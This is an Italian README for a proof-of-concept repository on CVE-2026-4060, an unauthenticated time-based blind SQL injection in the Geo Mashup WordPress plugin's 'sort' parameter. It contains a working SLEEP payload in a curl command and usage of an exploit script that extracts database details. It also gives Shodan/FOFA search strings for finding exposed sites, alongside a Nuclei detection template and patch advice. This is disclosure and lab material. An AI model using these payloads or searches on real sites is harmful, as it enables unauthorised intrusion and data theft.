
Prova di concetto per CVE-2026-4060: SQL injection blind basata sul tempo non autenticata nel plugin WordPress Geo Mashup tramite la clausola ORDER BY. Include script di exploit, ambiente di laboratorio e template di rilevamento Nuclei.
Attaccanti non autenticati possono iniettare SQL arbitrario nella clausola
ORDER BYtramite il parametrosortdell'endpointrender-mapdi Geo Mashup, consentendo l'estrazione blind basata sul tempo di informazioni sensibili dal database.
Il parametro sort accettato dall'endpoint render-map viene passato direttamente a una chiamata $wpdb->get_results() senza sanificazione:
// render-map.php (semplificato)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
Poiché $sort viene interpolato così com'è, un attaccante può iniettare una subquery nella clausola ORDER BY. La classe wpdb di WordPress esegue l'escape degli apostrofi, quindi il PoC usa ORD(SUBSTRING(...)) con confronti numerici per bypassare questa restrizione ed eseguire un'estrazione blind basata sul tempo.
Endpoint vulnerabile:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 attivo nell'amministrazione di WordPress:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh farà quanto segue:
Al termine:
http://localhost:8080http://localhost:8080/wp-admin (utente: admin / password: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
Un ritardo nella risposta di ~8 secondi conferma l'iniezione SQL nella clausola ORDER BY.
# Predefinito — stampa solo i risultati estratti
python3 poc.py --url http://localhost:8080
# Verbose — mostra ogni payload, tempo di risposta e carattere estratto
python3 poc.py --url http://localhost:8080 --verbose
# Conferma solo la SQLi, salta l'estrazione dei dati
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
L'iniezione di una subquery SLEEP(8) tramite il parametro sort produce un ritardo di risposta di ~8 secondi.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Il PoC estrae i dati carattere per carattere usando confronti ORD(SUBSTRING(...)): invia il payload → misura il tempo di risposta → conferma il carattere quando SLEEP scatta.
python3 poc.py --url http://localhost:8080 --verbose

Dati estratti:
| Query | Risultato |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
Il template Nuclei usa un flusso in due fasi per prevenire falsi positivi.
Se readme.txt restituisce 404 nella Fase 1, la scansione termina immediatamente senza inviare il payload SQL.
Scan completed in 62ms. 0 matches found. ✅
Controllo della versione del plugin tramite readme.txt:

Se compare_versions(version, '<= 1.13.18') fallisce, la Fase 2 viene saltata del tutto.
Scan completed in 19ms. 0 matches found. ✅
| Azione | Dettaglio |
|---|---|
| Aggiornamento | Aggiornare Geo Mashup alla versione 1.13.19 o successiva |
| Temporanea | Disattivare il plugin fino all'applicazione dell'aggiornamento |
Commit della patch: plugins.trac.wordpress.org/changeset/3503627
Template Nuclei: nuclei/CVE-2026-4060.yaml
Flusso di rilevamento:
Fase 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ conferma che il plugin esista + versione <= 1.13.18
Fase 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + durata >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| Data | Evento |
|---|---|
| 2026-04 | Vulnerabilità scoperta |
| 2026-04 | Segnalata all'autore del plugin |
| 2026-05 | Rilasciata la patch Geo Mashup 1.13.19 |
| 2026-05-14 | CVE assegnato e divulgato pubblicamente |
Questo repository è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati.
Non utilizzarlo contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di esplicita autorizzazione scritta.
L'autore non è responsabile di qualsiasi uso improprio di questo materiale.
| Campo | Dettaglio |
|---|
| CVE | CVE-2026-4060 |
| Plugin | Geo Mashup di cyberhobo |
| Versioni affette | ≤ 1.13.18 |
| Corretta in | 1.13.19 |
| CVSS v3.1 | 7.5 (Alta) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — Neutralizzazione impropria di elementi speciali in SQL |
| Autenticazione richiesta | Nessuna (Non autenticato) |
| Componente | Versione |
|---|
| OS | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (vulnerabile) |
| Python | 3.x (per poc.py) |
| Nuclei | v3.8.0 |
| WAF | Bloccare i pattern di iniezione di subquery nelle clausole ORDER BY |